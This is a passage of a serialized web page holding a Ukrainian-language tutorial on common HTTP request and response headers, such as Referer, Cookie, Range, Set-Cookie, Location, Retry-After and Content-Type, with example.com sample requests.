abc123def456ghi789\n",[3759,5588,5589],{"__ignoreMap":3844},[3919,5590,5591,5593,5595],{"class":3921,"line":3922},[3919,5592,4071],{"class":3925},[3919,5594,3930],{"class":3929},[3919,5596,5597],{"class":3933}," ApiKey abc123def456ghi789\n",[3846,5599,5601],{"id":5600},"referer-url-попередньої-сторінки","Referer — URL попередньої сторінки",[3828,5603,5604,4512,5606,5609],{},[3785,5605,4511],{},[3785,5607,5608],{},"URL сторінки",", з якої користувач перейшов за поточним посиланням.",[3828,5611,5612],{},[3785,5613,4533],{},[3836,5615,5617],{"className":3913,"code":5616,"language":3915,"meta":3844,"style":3844},"GET \u002Fproducts\u002Flaptop-xyz HTTP\u002F1.1\nHost: shop.example.com\nReferer: https:\u002F\u002Fshop.example.com\u002Fsearch?q=laptop\n",[3759,5618,5619,5632,5641],{"__ignoreMap":3844},[3919,5620,5621,5623,5626,5628,5630],{"class":3921,"line":3922},[3919,5622,3998],{"class":3997},[3919,5624,5625],{"class":3982}," \u002Fproducts\u002Flaptop-xyz ",[3919,5627,4004],{"class":3929},[3919,5629,4007],{"class":3982},[3919,5631,4011],{"class":4010},[3919,5633,5634,5636,5638],{"class":3921,"line":3937},[3919,5635,4016],{"class":3925},[3919,5637,3930],{"class":3929},[3919,5639,5640],{"class":3933}," shop.example.com\n",[3919,5642,5643,5645,5647],{"class":3921,"line":4024},[3919,5644,4103],{"class":3925},[3919,5646,3930],{"class":3929},[3919,5648,5649],{"class":3933}," https:\u002F\u002Fshop.example.com\u002Fsearch?q=laptop\n",[3828,5651,5652],{},[3785,5653,5654],{},"Використання:",[3746,5656,5657,5662,5668],{},[3749,5658,5659,5661],{},[3785,5660,4682],{}," визначення джерел трафіку.",[3749,5663,5664,5667],{},[3785,5665,5666],{},"Безпека:"," захист від CSRF-атак (перевірка, що запит прийшов з того самого сайту).",[3749,5669,5670,5673],{},[3785,5671,5672],{},"A\u002FB тестування:"," відстеження переходів між варіантами.",[4289,5675,5676,5679,5681,5682,5684],{},[3785,5677,5678],{},"Помилка у назві:",[4703,5680],{},"\nПравильно англійською було б \"Referrer\" (з подвійною 'r'), але у специфікації HTTP допущено помилку — заголовок називається ",[3759,5683,4103],{},". Це історична помилка, яка залишилася у стандарті.",[4697,5686,5687,5699],{},[3828,5688,5689,5692,5694,5695,5698],{},[3785,5690,5691],{},"Privacy concerns:",[4703,5693],{},"\nReferer може розкривати чутливу інформацію (наприклад, повний URL з параметрами сесії). Сучасні браузери та сайти використовують ",[3785,5696,5697],{},"Referrer Policy"," для контролю, скільки інформації передається:",[3836,5700,5702],{"className":3913,"code":5701,"language":3915,"meta":3844,"style":3844},"Referrer-Policy: no-referrer\nReferrer-Policy: same-origin\nReferrer-Policy: strict-origin-when-cross-origin\n",[3759,5703,5704,5714,5723],{"__ignoreMap":3844},[3919,5705,5706,5709,5711],{"class":3921,"line":3922},[3919,5707,5708],{"class":3925},"Referrer-Policy",[3919,5710,3930],{"class":3929},[3919,5712,5713],{"class":3933}," no-referrer\n",[3919,5715,5716,5718,5720],{"class":3921,"line":3937},[3919,5717,5708],{"class":3925},[3919,5719,3930],{"class":3929},[3919,5721,5722],{"class":3933}," same-origin\n",[3919,5724,5725,5727,5729],{"class":3921,"line":4024},[3919,5726,5708],{"class":3925},[3919,5728,3930],{"class":3929},[3919,5730,5731],{"class":3933}," strict-origin-when-cross-origin\n",[3846,5733,5735],{"id":5734},"cookie-збережений-стан","Cookie — Збережений стан",[3828,5737,5738,5740,5741,5744],{},[3785,5739,4511],{}," Надсилає ",[3785,5742,5743],{},"cookies",", збережені браузером для цього домену. Детальніше про cookies у наступному підрозділі.",[3828,5746,5747],{},[3785,5748,4533],{},[3836,5750,5752],{"className":3913,"code":5751,"language":3915,"meta":3844,"style":3844},"GET \u002Fdashboard HTTP\u002F1.1\nHost: app.example.com\nCookie: sessionId=abc123xyz; theme=dark; language=uk\n",[3759,5753,5754,5767,5776],{"__ignoreMap":3844},[3919,5755,5756,5758,5761,5763,5765],{"class":3921,"line":3922},[3919,5757,3998],{"class":3997},[3919,5759,5760],{"class":3982}," \u002Fdashboard ",[3919,5762,4004],{"class":3929},[3919,5764,4007],{"class":3982},[3919,5766,4011],{"class":4010},[3919,5768,5769,5771,5773],{"class":3921,"line":3937},[3919,5770,4016],{"class":3925},[3919,5772,3930],{"class":3929},[3919,5774,5775],{"class":3933}," app.example.com\n",[3919,5777,5778,5780,5782],{"class":3921,"line":4024},[3919,5779,4432],{"class":3925},[3919,5781,3930],{"class":3929},[3919,5783,5784],{"class":3933}," sessionId=abc123xyz; theme=dark; language=uk\n",[3846,5786,5788],{"id":5787},"range-часткове-завантаження","Range — Часткове завантаження",[3828,5790,5791,5793,5794,5797],{},[3785,5792,4511],{}," Запитує ",[3785,5795,5796],{},"частину ресурсу"," (часткове завантаження). Використовується для великих файлів, відновлення перерваного завантаження, streaming відео.",[3828,5799,5800],{},[3785,5801,5802],{},"Приклад 1: Завантаження перших 1 МБ файлу",[3836,5804,5806],{"className":3913,"code":5805,"language":3915,"meta":3844,"style":3844},"GET \u002Fvideos\u002Fmovie.mp4 HTTP\u002F1.1\nHost: cdn.example.com\nRange: bytes=0-1048575\n",[3759,5807,5808,5821,5830],{"__ignoreMap":3844},[3919,5809,5810,5812,5815,5817,5819],{"class":3921,"line":3922},[3919,5811,3998],{"class":3997},[3919,5813,5814],{"class":3982}," \u002Fvideos\u002Fmovie.mp4 ",[3919,5816,4004],{"class":3929},[3919,5818,4007],{"class":3982},[3919,5820,4011],{"class":4010},[3919,5822,5823,5825,5827],{"class":3921,"line":3937},[3919,5824,4016],{"class":3925},[3919,5826,3930],{"class":3929},[3919,5828,5829],{"class":3933}," cdn.example.com\n",[3919,5831,5832,5835,5837],{"class":3921,"line":4024},[3919,5833,5834],{"class":3925},"Range",[3919,5836,3930],{"class":3929},[3919,5838,5839],{"class":3933}," bytes=0-1048575\n",[3828,5841,5842],{},[3785,5843,5844],{},"Відповідь:",[3836,5846,5848],{"className":3913,"code":5847,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 206 Partial Content\nContent-Type: video\u002Fmp4\nContent-Range: bytes 0-1048575\u002F524288000\nContent-Length: 1048576\nAccept-Ranges: bytes\n\n[1 МБ даних]\n",[3759,5849,5850,5864,5873,5883,5892,5902,5906],{"__ignoreMap":3844},[3919,5851,5852,5854,5856,5858,5861],{"class":3921,"line":3922},[3919,5853,4004],{"class":3929},[3919,5855,4007],{"class":3982},[3919,5857,4862],{"class":4010},[3919,5859,5860],{"class":4010}," 206",[3919,5862,5863],{"class":3933}," Partial Content\n",[3919,5865,5866,5868,5870],{"class":3921,"line":3937},[3919,5867,4281],{"class":3925},[3919,5869,3930],{"class":3929},[3919,5871,5872],{"class":3933}," video\u002Fmp4\n",[3919,5874,5875,5878,5880],{"class":3921,"line":4024},[3919,5876,5877],{"class":3925},"Content-Range",[3919,5879,3930],{"class":3929},[3919,5881,5882],{"class":3933}," bytes 0-1048575\u002F524288000\n",[3919,5884,5885,5887,5889],{"class":3921,"line":4035},[3919,5886,4284],{"class":3925},[3919,5888,3930],{"class":3929},[3919,5890,5891],{"class":3933}," 1048576\n",[3919,5893,5894,5897,5899],{"class":3921,"line":4046},[3919,5895,5896],{"class":3925},"Accept-Ranges",[3919,5898,3930],{"class":3929},[3919,5900,5901],{"class":3933}," bytes\n",[3919,5903,5904],{"class":3921,"line":4057},[3919,5905,4883],{"emptyLinePlaceholder":4882},[3919,5907,5908,5910,5913,5916,5919],{"class":3921,"line":4068},[3919,5909,5308],{"class":3982},[3919,5911,5912],{"class":4010},"1",[3919,5914,5915],{"class":5311}," МБ",[3919,5917,5918],{"class":5311}," даних",[3919,5920,5318],{"class":3982},[3828,5922,5923],{},[3785,5924,5925],{},"Приклад 2: Відновлення завантаження (вже завантажено 10 МБ)",[3836,5927,5929],{"className":3913,"code":5928,"language":3915,"meta":3844,"style":3844},"GET \u002Ffiles\u002Flarge-archive.zip HTTP\u002F1.1\nRange: bytes=10485760-\n",[3759,5930,5931,5944],{"__ignoreMap":3844},[3919,5932,5933,5935,5938,5940,5942],{"class":3921,"line":3922},[3919,5934,3998],{"class":3997},[3919,5936,5937],{"class":3982}," \u002Ffiles\u002Flarge-archive.zip ",[3919,5939,4004],{"class":3929},[3919,5941,4007],{"class":3982},[3919,5943,4011],{"class":4010},[3919,5945,5946,5948,5950],{"class":3921,"line":3937},[3919,5947,5834],{"class":3925},[3919,5949,3930],{"class":3929},[3919,5951,5952],{"class":3933}," bytes=10485760-\n",[3828,5954,5955],{},"Сервер поверне дані, починаючи з 10 МБ до кінця файлу.",[3820,5957],{},[3823,5959,5961],{"id":5960},"основні-заголовки-відповідей-response-headers","Основні заголовки відповідей (Response Headers)",[3828,5963,5964,5965,5968],{},"Заголовки відповідей надсилає ",[3785,5966,5967],{},"сервер"," клієнту для передачі метаданих про відповідь та інструкцій клієнту.",[3846,5970,5972],{"id":5971},"server-інформація-про-сервер","Server — Інформація про сервер",[3828,5974,5975,5977],{},[3785,5976,4511],{}," Ідентифікує програмне забезпечення сервера.",[3828,5979,5980],{},[3785,5981,4533],{},[3836,5983,5985],{"className":3913,"code":5984,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nServer: nginx\u002F1.25.0\nContent-Type: text\u002Fhtml\n",[3759,5986,5987,5999,6008],{"__ignoreMap":3844},[3919,5988,5989,5991,5993,5995,5997],{"class":3921,"line":3922},[3919,5990,4004],{"class":3929},[3919,5992,4007],{"class":3982},[3919,5994,4862],{"class":4010},[3919,5996,4865],{"class":4010},[3919,5998,4868],{"class":3933},[3919,6000,6001,6003,6005],{"class":3921,"line":3937},[3919,6002,4259],{"class":3925},[3919,6004,3930],{"class":3929},[3919,6006,6007],{"class":3933}," nginx\u002F1.25.0\n",[3919,6009,6010,6012,6014],{"class":3921,"line":4024},[3919,6011,4281],{"class":3925},[3919,6013,3930],{"class":3929},[3919,6015,6016],{"class":3933}," text\u002Fhtml\n",[3828,6018,6019],{},[3785,6020,6021],{},"Інші приклади:",[3836,6023,6026],{"className":6024,"code":6025,"language":3841},[3839],"Server: Apache\u002F2.4.57 (Ubuntu)\nServer: cloudflare\nServer: Microsoft-IIS\u002F10.0\n",[3759,6027,6025],{"__ignoreMap":3844},[4697,6029,6030,6043],{},[3828,6031,6032,6034,6036,6037,6040,6041,3930],{},[3785,6033,5666],{},[4703,6035],{},"\nРозкриття версії сервера може допомогти зловмисникам знайти відомі вразливості. У продакшн-середовищах рекомендується ",[3785,6038,6039],{},"приховувати або узагальнювати"," значення ",[3759,6042,4259],{},[3836,6044,6047],{"className":6045,"code":6046,"language":3841},[3839],"Server: WebServer  (замість Server: nginx\u002F1.25.0)\n",[3759,6048,6046],{"__ignoreMap":3844},[3846,6050,6052],{"id":6051},"set-cookie-встановлення-cookie","Set-Cookie — Встановлення cookie",[3828,6054,6055,6057,6058,6061],{},[3785,6056,4511],{}," Сервер встановлює ",[3785,6059,6060],{},"cookie"," у браузері клієнта. Детальний розгляд у підрозділі про Cookies.",[3828,6063,6064],{},[3785,6065,4533],{},[3836,6067,6069],{"className":3913,"code":6068,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nSet-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600; Path=\u002F\nSet-Cookie: theme=dark; Max-Age=31536000; Path=\u002F\n",[3759,6070,6071,6083,6092],{"__ignoreMap":3844},[3919,6072,6073,6075,6077,6079,6081],{"class":3921,"line":3922},[3919,6074,4004],{"class":3929},[3919,6076,4007],{"class":3982},[3919,6078,4862],{"class":4010},[3919,6080,4865],{"class":4010},[3919,6082,4868],{"class":3933},[3919,6084,6085,6087,6089],{"class":3921,"line":3937},[3919,6086,3926],{"class":3925},[3919,6088,3930],{"class":3929},[3919,6090,6091],{"class":3933}," sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600; Path=\u002F\n",[3919,6093,6094,6096,6098],{"class":3921,"line":4024},[3919,6095,3926],{"class":3925},[3919,6097,3930],{"class":3929},[3919,6099,6100],{"class":3933}," theme=dark; Max-Age=31536000; Path=\u002F\n",[3846,6102,6104],{"id":6103},"location-адреса-перенаправлення-або-нового-ресурсу","Location — Адреса перенаправлення або нового ресурсу",[3828,6106,6107,4512,6109,6112,6113,6116],{},[3785,6108,4511],{},[3785,6110,6111],{},"URL для перенаправлення"," (3xx) або ",[3785,6114,6115],{},"адресу новоствореного ресурсу"," (201).",[3828,6118,6119],{},[3785,6120,6121],{},"Приклад 1: Перенаправлення (301)",[3836,6123,6125],{"className":3913,"code":6124,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 301 Moved Permanently\nLocation: https:\u002F\u002Fwww.example.com\u002Fnew-page\nContent-Length: 0\n",[3759,6126,6127,6141,6150],{"__ignoreMap":3844},[3919,6128,6129,6131,6133,6135,6138],{"class":3921,"line":3922},[3919,6130,4004],{"class":3929},[3919,6132,4007],{"class":3982},[3919,6134,4862],{"class":4010},[3919,6136,6137],{"class":4010}," 301",[3919,6139,6140],{"class":3933}," Moved Permanently\n",[3919,6142,6143,6145,6147],{"class":3921,"line":3937},[3919,6144,4264],{"class":3925},[3919,6146,3930],{"class":3929},[3919,6148,6149],{"class":3933}," https:\u002F\u002Fwww.example.com\u002Fnew-page\n",[3919,6151,6152,6154,6156],{"class":3921,"line":4024},[3919,6153,4284],{"class":3925},[3919,6155,3930],{"class":3929},[3919,6157,6158],{"class":3933}," 0\n",[3828,6160,6161],{},[3785,6162,6163],{},"Приклад 2: Створення ресурсу (201)",[3836,6165,6167],{"className":3913,"code":6166,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 201 Created\nLocation: https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fusers\u002F125\nContent-Type: application\u002Fjson\n\n{\"id\":125,\"email\":\"new@example.com\"}\n",[3759,6168,6169,6183,6192,6200,6204],{"__ignoreMap":3844},[3919,6170,6171,6173,6175,6177,6180],{"class":3921,"line":3922},[3919,6172,4004],{"class":3929},[3919,6174,4007],{"class":3982},[3919,6176,4862],{"class":4010},[3919,6178,6179],{"class":4010}," 201",[3919,6181,6182],{"class":3933}," Created\n",[3919,6184,6185,6187,6189],{"class":3921,"line":3937},[3919,6186,4264],{"class":3925},[3919,6188,3930],{"class":3929},[3919,6190,6191],{"class":3933}," https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fusers\u002F125\n",[3919,6193,6194,6196,6198],{"class":3921,"line":4024},[3919,6195,4281],{"class":3925},[3919,6197,3930],{"class":3929},[3919,6199,4946],{"class":3933},[3919,6201,6202],{"class":3921,"line":4035},[3919,6203,4883],{"emptyLinePlaceholder":4882},[3919,6205,6206,6208,6210,6212,6215,6217,6220,6222,6225],{"class":3921,"line":4046},[3919,6207,4888],{"class":3982},[3919,6209,4892],{"class":4891},[3919,6211,3930],{"class":3982},[3919,6213,6214],{"class":4010},"125",[3919,6216,4900],{"class":3982},[3919,6218,6219],{"class":4891},"\"email\"",[3919,6221,3930],{"class":3982},[3919,6223,6224],{"class":3933},"\"new@example.com\"",[3919,6226,4911],{"class":3982},[3846,6228,6230],{"id":6229},"retry-after-коли-повторити-запит","Retry-After — Коли повторити запит",[3828,6232,6233,6235,6236,6239],{},[3785,6234,4511],{}," Вказує клієнту, ",[3785,6237,6238],{},"через скільки часу"," можна повторити запит. Використовується з кодами 429 (Too Many Requests), 503 (Service Unavailable).",[3828,6241,6242],{},[3785,6243,6244],{},"Формат 1: Секунди",[3836,6246,6248],{"className":3913,"code":6247,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 429 Too Many Requests\nRetry-After: 120\nContent-Type: application\u002Fjson\n\n{\"error\":\"Rate limit exceeded. Try again in 2 minutes.\"}\n",[3759,6249,6250,6264,6273,6281,6285],{"__ignoreMap":3844},[3919,6251,6252,6254,6256,6258,6261],{"class":3921,"line":3922},[3919,6253,4004],{"class":3929},[3919,6255,4007],{"class":3982},[3919,6257,4862],{"class":4010},[3919,6259,6260],{"class":4010}," 429",[3919,6262,6263],{"class":3933}," Too Many Requests\n",[3919,6265,6266,6268,6270],{"class":3921,"line":3937},[3919,6267,4267],{"class":3925},[3919,6269,3930],{"class":3929},[3919,6271,6272],{"class":3933}," 120\n",[3919,6274,6275,6277,6279],{"class":3921,"line":4024},[3919,6276,4281],{"class":3925},[3919,6278,3930],{"class":3929},[3919,6280,4946],{"class":3933},[3919,6282,6283],{"class":3921,"line":4035},[3919,6284,4883],{"emptyLinePlaceholder":4882},[3919,6286,6287,6289,6291,6293,6296],{"class":3921,"line":4046},[3919,6288,4888],{"class":3982},[3919,6290,4957],{"class":4891},[3919,6292,3930],{"class":3982},[3919,6294,6295],{"class":3933},"\"Rate limit exceeded. Try again in 2 minutes.\"",[3919,6297,4911],{"class":3982},[3828,6299,6300],{},[3785,6301,6302],{},"Формат 2: Дата та час",[3836,6304,6306],{"className":3913,"code":6305,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 503 Service Unavailable\nRetry-After: Sat, 29 Aug 2026 15:00:00 GMT\nContent-Type: application\u002Fjson\n\n{\"error\":\"Maintenance in progress. Service will resume at 15:00 UTC.\"}\n",[3759,6307,6308,6322,6331,6339,6343],{"__ignoreMap":3844},[3919,6309,6310,6312,6314,6316,6319],{"class":3921,"line":3922},[3919,6311,4004],{"class":3929},[3919,6313,4007],{"class":3982},[3919,6315,4862],{"class":4010},[3919,6317,6318],{"class":4010}," 503",[3919,6320,6321],{"class":3933}," Service Unavailable\n",[3919,6323,6324,6326,6328],{"class":3921,"line":3937},[3919,6325,4267],{"class":3925},[3919,6327,3930],{"class":3929},[3919,6329,6330],{"class":3933}," Sat, 29 Aug 2026 15:00:00 GMT\n",[3919,6332,6333,6335,6337],{"class":3921,"line":4024},[3919,6334,4281],{"class":3925},[3919,6336,3930],{"class":3929},[3919,6338,4946],{"class":3933},[3919,6340,6341],{"class":3921,"line":4035},[3919,6342,4883],{"emptyLinePlaceholder":4882},[3919,6344,6345,6347,6349,6351,6354],{"class":3921,"line":4046},[3919,6346,4888],{"class":3982},[3919,6348,4957],{"class":4891},[3919,6350,3930],{"class":3982},[3919,6352,6353],{"class":3933},"\"Maintenance in progress. Service will resume at 15:00 UTC.\"",[3919,6355,4911],{"class":3982},[3846,6357,6359],{"id":6358},"content-type-тип-вмісту-відповіді","Content-Type — Тип вмісту відповіді",[3828,6361,6362,4512,6364,6367,6368,3769],{},[3785,6363,4511],{},[3785,6365,6366],{},"MIME-тип"," тіла відповіді та ",[3785,6369,6370],{},"кодування символів",[3828,6372,6373],{},[3785,6374,6375],{},"Приклад 1: JSON",[3836,6377,6378],{"className":3913,"code":4851,"language":3915,"meta":3844,"style":3844},[3759,6379,6380,6392,6400,6404],{"__ignoreMap":3844},[3919,6381,6382,6384,6386,6388,6390],{"class":3921,"line":3922},[3919,6383,4004],{"class":3929},[3919,6385,4007],{"class":3982},[3919,6387,4862],{"class":4010},[3919,6389,4865],{"class":4010},[3919,6391,4868],{"class":3933},[3919,6393,6394,6396,6398],{"class":3921,"line":3937},[3919,6395,4281],{"class":3925},[3919,6397,3930],{"class":3929},[3919,6399,4877],{"class":3933},[3919,6401,6402],{"class":3921,"line":4024},[3919,6403,4883],{"emptyLinePlaceholder":4882},[3919,6405,6406,6408,6410,6412,6414,6416,6418,6420,6422],{"class":3921,"line":4035},[3919,6407,4888],{"class":3982},[3919,6409,4892],{"class":4891},[3919,6411,3930],{"class":3982},[3919,6413,4897],{"class":4010},[3919,6415,4900],{"class":3982},[3919,6417,4903],{"class":4891},[3919,6419,3930],{"class":3982},[3919,6421,4908],{"class":3933},[3919,6423,4911],{"class":3982},[3828,6425,6426],{},[3785,6427,6428],{},"Приклад 2: HTML",[3836,6430,6432],{"className":3913,"code":6431,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: text\u002Fhtml; charset=utf-8\n\n\u003C!DOCTYPE html>\n\u003Chtml>...\n",[3759,6433,6434,6446,6454,6458,6468],{"__ignoreMap":3844},[3919,6435,6436,6438,6440,6442,6444],{"class":3921,"line":3922},[3919,6437,4004],{"class":3929},[3919,6439,4007],{"class":3982},[3919,6441,4862],{"class":4010},[3919,6443,4865],{"class":4010},[3919,6445,4868],{"class":3933},[3919,6447,6448,6450,6452],{"class":3921,"line":3937},[3919,6449,4281],{"class":3925},[3919,6451,3930],{"class":3929},[3919,6453,5087],{"class":3933},[3919,6455,6456],{"class":3921,"line":4024},[3919,6457,4883],{"emptyLinePlaceholder":4882},[3919,6459,6460,6462,6464,6466],{"class":3921,"line":4035},[3919,6461,5097],{"class":5096},[3919,6463,5100],{"class":3929},[3919,6465,5103],{"class":3929},[3919,6467,5106],{"class":5096},[3919,6469,6470,6472,6474,6476],{"class":3921,"line":4046},[3919,6471,5111],{"class":5096},[3919,6473,5114],{"class":3925},[3919,6475,5143],{"class":5096},[3919,6477,5163],{"class":3982},[3828,6479,6480],{},[3785,6481,6482],{},"Приклад 3: Бінарний файл (зображення)",[3836,6484,6486],{"className":3913,"code":6485,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: image\u002Fjpeg\nContent-Length: 45678\n\n[JPEG бінарні дані]\n",[3759,6487,6488,6500,6509,6518,6522],{"__ignoreMap":3844},[3919,6489,6490,6492,6494,6496,6498],{"class":3921,"line":3922},[3919,6491,4004],{"class":3929},[3919,6493,4007],{"class":3982},[3919,6495,4862],{"class":4010},[3919,6497,4865],{"class":4010},[3919,6499,4868],{"class":3933},[3919,6501,6502,6504,6506],{"class":3921,"line":3937},[3919,6503,4281],{"class":3925},[3919,6505,3930],{"class":3929},[3919,6507,6508],{"class":3933}," image\u002Fjpeg\n",[3919,6510,6511,6513,6515],{"class":3921,"line":4024},[3919,6512,4284],{"class":3925},[3919,6514,3930],{"class":3929},[3919,6516,6517],{"class":3933}," 45678\n",[3919,6519,6520],{"class":3921,"line":4035},[3919,6521,4883],{"emptyLinePlaceholder":4882},[3919,6523,6524,6526,6529,6532,6534],{"class":3921,"line":4046},[3919,6525,5308],{"class":3982},[3919,6527,6528],{"class":5311},"JPEG",[3919,6530,6531],{"class":5311}," бінарні",[3919,6533,5315],{"class":5311},[3919,6535,5318],{"class":3982},[3828,6537,6538],{},[3785,6539,6540],{},"Популярні MIME-типи:",[4186,6542,6543,6551],{},[4189,6544,6545],{},[4192,6546,6547,6549],{},[4195,6548,6366],{},[4195,6550,4200],{},[4205,6552,6553,6562,6572,6582,6591,6600,6610,6626,6636,6646,6656],{},[4192,6554,6555,6559],{},[4210,6556,6557],{},[3759,6558,4804],{},[4210,6560,6561],{},"HTML-документ",[4192,6563,6564,6569],{},[4210,6565,6566],{},[3759,6567,6568],{},"text\u002Fcss",[4210,6570,6571],{},"CSS-стилі",[4192,6573,6574,6579],{},[4210,6575,6576],{},[3759,6577,6578],{},"text\u002Fjavascript",[4210,6580,6581],{},"JavaScript-код",[4192,6583,6584,6588],{},[4210,6585,6586],{},[3759,6587,4792],{},[4210,6589,6590],{},"JSON-дані",[4192,6592,6593,6597],{},[4210,6594,6595],{},[3759,6596,4798],{},[4210,6598,6599],{},"XML-документ",[4192,6601,6602,6607],{},[4210,6603,6604],{},[3759,6605,6606],{},"application\u002Fpdf",[4210,6608,6609],{},"PDF-файл",[4192,6611,6612,6623],{},[4210,6613,6614,3762,6617,3762,6620],{},[3759,6615,6616],{},"image\u002Fjpeg",[3759,6618,6619],{},"image\u002Fpng",[3759,6621,6622],{},"image\u002Fwebp",[4210,6624,6625],{},"Зображення",[4192,6627,6628,6633],{},[4210,6629,6630],{},[3759,6631,6632],{},"video\u002Fmp4",[4210,6634,6635],{},"Відео MP4",[4192,6637,6638,6643],{},[4210,6639,6640],{},[3759,6641,6642],{},"audio\u002Fmpeg",[4210,6644,6645],{},"Аудіо MP3",[4192,6647,6648,6653],{},[4210,6649,6650],{},[3759,6651,6652],{},"application\u002Foctet-stream",[4210,6654,6655],{},"Бінарні дані (невизначений тип)",[4192,6657,6658,6663],{},[4210,6659,6660],{},[3759,6661,6662],{},"multipart\u002Fform-data",[4210,6664,6665],{},"Форма з файлами",[3846,6667,6669],{"id":6668},"content-length-розмір-тіла","Content-Length — Розмір тіла",[3828,6671,6672,4512,6674,6677],{},[3785,6673,4511],{},[3785,6675,6676],{},"розмір тіла"," відповіді у байтах.",[3828,6679,6680],{},[3785,6681,4533],{},[3836,6683,6685],{"className":3913,"code":6684,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson\nContent-Length: 187\n\n{\"id\":42,\"email\":\"john@example.com\",\"firstName\":\"John\",\"lastName\":\"Doe\",\"role\":\"user\",\"createdAt\":\"2026-01-15T10:00:00Z\"}\n",[3759,6686,6687,6699,6707,6716,6720],{"__ignoreMap":3844},[3919,6688,6689,6691,6693,6695,6697],{"class":3921,"line":3922},[3919,6690,4004],{"class":3929},[3919,6692,4007],{"class":3982},[3919,6694,4862],{"class":4010},[3919,6696,4865],{"class":4010},[3919,6698,4868],{"class":3933},[3919,6700,6701,6703,6705],{"class":3921,"line":3937},[3919,6702,4281],{"class":3925},[3919,6704,3930],{"class":3929},[3919,6706,4946],{"class":3933},[3919,6708,6709,6711,6713],{"class":3921,"line":4024},[3919,6710,4284],{"class":3925},[3919,6712,3930],{"class":3929},[3919,6714,6715],{"class":3933}," 187\n",[3919,6717,6718],{"class":3921,"line":4035},[3919,6719,4883],{"emptyLinePlaceholder":4882},[3919,6721,6722,6724,6726,6728,6730,6732,6734,6736,6739,6741,6744,6746,6749,6751,6754,6756,6759,6761,6764,6766,6769,6771,6774,6776,6779],{"class":3921,"line":4046},[3919,6723,4888],{"class":3982},[3919,6725,4892],{"class":4891},[3919,6727,3930],{"class":3982},[3919,6729,4897],{"class":4010},[3919,6731,4900],{"class":3982},[3919,6733,6219],{"class":4891},[3919,6735,3930],{"class":3982},[3919,6737,6738],{"class":3933},"\"john@example.com\"",[3919,6740,4900],{"class":3982},[3919,6742,6743],{"class":4891},"\"firstName\"",[3919,6745,3930],{"class":3982},[3919,6747,6748],{"class":3933},"\"John\"",[3919,6750,4900],{"class":3982},[3919,6752,6753],{"class":4891},"\"lastName\"",[3919,6755,3930],{"class":3982},[3919,6757,6758],{"class":3933},"\"Doe\"",[3919,6760,4900],{"class":3982},[3919,6762,6763],{"class":4891},"\"role\"",[3919,6765,3930],{"class":3982},[3919,6767,6768],{"class":3933},"\"user\"",[3919,6770,4900],{"class":3982},[3919,6772,6773],{"class":4891},"\"createdAt\"",[3919,6775,3930],{"class":3982},[3919,6777,6778],{"class":3933},"\"2026-01-15T10:00:00Z\"",[3919,6780,4911],{"class":3982},[3828,6782,6783],{},[3785,6784,5654],{},[3746,6786,6787,6790,6793],{},[3749,6788,6789],{},"Клієнт знає, скільки даних очікувати.",[3749,6791,6792],{},"Можливість відображення прогресу завантаження.",[3749,6794,6795],{},"Обов'язковий для деяких HTTP-клієнтів та проксі.",[4289,6797,6798,6801,6803,6804,6807,6808,6807,6811,6813],{},[3785,6799,6800],{},"Transfer-Encoding: chunked:",[4703,6802],{},"\nЯкщо розмір відповіді невідомий заздалегідь (наприклад, streaming), використовується ",[3759,6805,6806],{},"Transfer-Encoding: chunked"," ",[3785,6809,6810],{},"замість",[3759,6812,4284],{},". Дані передаються частинами (chunks).",[3846,6815,6817],{"id":6816},"content-encoding-метод-стиснення","Content-Encoding — Метод стиснення",[3828,6819,6820,4512,6822,6825],{},[3785,6821,4511],{},[3785,6823,6824],{},"алгоритм стиснення",", застосований до тіла відповіді.",[3828,6827,6828],{},[3785,6829,4533],{},[3836,6831,6833],{"className":3913,"code":6832,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: text\u002Fhtml; charset=utf-8\nContent-Encoding: gzip\nContent-Length: 4567\n\n[gzip-стиснуті дані HTML]\n",[3759,6834,6835,6847,6855,6864,6873,6877],{"__ignoreMap":3844},[3919,6836,6837,6839,6841,6843,6845],{"class":3921,"line":3922},[3919,6838,4004],{"class":3929},[3919,6840,4007],{"class":3982},[3919,6842,4862],{"class":4010},[3919,6844,4865],{"class":4010},[3919,6846,4868],{"class":3933},[3919,6848,6849,6851,6853],{"class":3921,"line":3937},[3919,6850,4281],{"class":3925},[3919,6852,3930],{"class":3929},[3919,6854,5087],{"class":3933},[3919,6856,6857,6859,6861],{"class":3921,"line":4024},[3919,6858,4287],{"class":3925},[3919,6860,3930],{"class":3929},[3919,6862,6863],{"class":3933}," gzip\n",[3919,6865,6866,6868,6870],{"class":3921,"line":4035},[3919,6867,4284],{"class":3925},[3919,6869,3930],{"class":3929},[3919,6871,6872],{"class":3933}," 4567\n",[3919,6874,6875],{"class":3921,"line":4046},[3919,6876,4883],{"emptyLinePlaceholder":4882},[3919,6878,6879,6881,6884,6886,6889],{"class":3921,"line":4057},[3919,6880,5308],{"class":3982},[3919,6882,6883],{"class":5311},"gzip-стиснуті",[3919,6885,5315],{"class":5311},[3919,6887,6888],{"class":5311}," HTML",[3919,6890,5318],{"class":3982},[3828,6892,6893],{},"Браузер автоматично розпаковує дані перед використанням.",[3846,6895,6897],{"id":6896},"etag-ідентифікатор-версії-ресурсу","ETag — Ідентифікатор версії ресурсу",[3828,6899,6900,6902,6903,6906,6907,4295,6910,3769],{},[3785,6901,4511],{}," Унікальний ідентифікатор ",[3785,6904,6905],{},"конкретної версії ресурсу",". Використовується для ",[3785,6908,6909],{},"умовних запитів",[3785,6911,6912],{},"оптимістичної 